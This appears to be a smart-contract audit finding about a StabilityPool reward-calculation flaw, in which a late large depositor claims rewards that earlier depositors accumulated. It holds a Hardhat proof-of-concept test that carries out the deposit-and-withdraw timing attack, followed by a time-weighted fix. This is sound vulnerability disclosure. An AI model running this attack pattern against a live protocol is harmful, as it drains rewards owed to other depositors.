Description
The StabilityPool::calculateRaacRewards function calculates rewards proportionally to a user's current deposit relative to total deposits at calculation time. This allows late depositors to deposit large amounts and claim disproportionate rewards relative to their deposit duration. Early depositors who maintained deposits during reward accumulation periods receive reduced rewards.
Proof of Concept
Add this test to StabilityPool.test.js:
it("allows late whale to steal accumulated rewards", async function () {
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
await ethers.provider.send("evm_increaseTime", [86400 * 30]);
await raacMinter.tick();
const user1PendingRewards = await stabilityPool.getPendingRewards(user1);
console.log("user1PendingRewards: ", user1PendingRewards);
await crvusd.mint(user2.address, ethers.parseEther("1000"));
await crvusd
.connect(user2)
.approve(lendingPool.target, ethers.parseEther("1000"));
await lendingPool.connect(user2).deposit(ethers.parseEther("1000"));
await rToken
.connect(user2)
.approve(stabilityPool.target, ethers.parseEther("1000"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("1000"));
await stabilityPool.connect(user2).withdraw(ethers.parseEther("1000"));
const currentPoolRewards = await raacToken.balanceOf(stabilityPool.target);
expect(currentPoolRewards).to.be.lt(user1PendingRewards);
});
Impact
High severity. This vulnerability allows strategic actors to extract rewards disproportionately to their time-weighted contribution, undermining the incentive structure for long-term depositors. Protocol rewards could be drained by malicious users through timing attacks.
Recommendation
Time-weighted rewards: Implement reward accumulation tracking with rewardPerTokenStored:
contracts/core/pools/StabilityPool/StabilityPool.sol
+ uint256 public rewardPerTokenStored;
+ mapping(address => uint256) public userRewardPerTokenPaid;
+ mapping(address => uint256) public rewards;
function _updateReward(address user) internal {
+ rewardPerTokenStored = rewardPerToken();
+ lastUpdate = block.timestamp;
+ if (user != address(0)) {
+ rewards[user] = earned(user);
+ userRewardPerTokenPaid[user] = rewardPerTokenStored;
+ }
}
function earned(address user) public view returns (uint256) {
+ return (userDeposits[user] *
+ (rewardPerToken() - userRewardPerTokenPaid[user]))
+ / 1e18 + rewards[user];
}
Snapshot rewards on deposit/withdraw: Modify deposit/withdraw to update rewards:
function deposit(uint256 amount) external {
+ _updateReward(msg.sender);
// ... existing logic ...
}
function withdraw(uint256 amount) external {
+ _updateReward(msg.sender);
// ... existing logic ...
}
Linear reward distribution: Calculate rewards based on time-weighted average balance:
function rewardPerToken() public view returns (uint256) {
if (deToken.totalSupply() == 0) return rewardPerTokenStored;
uint256 timeElapsed = block.timestamp - lastUpdate;
return rewardPerTokenStored +
(timeElapsed * raacToken.emissionRate() * 1e18)
/ deToken.totalSupply();
}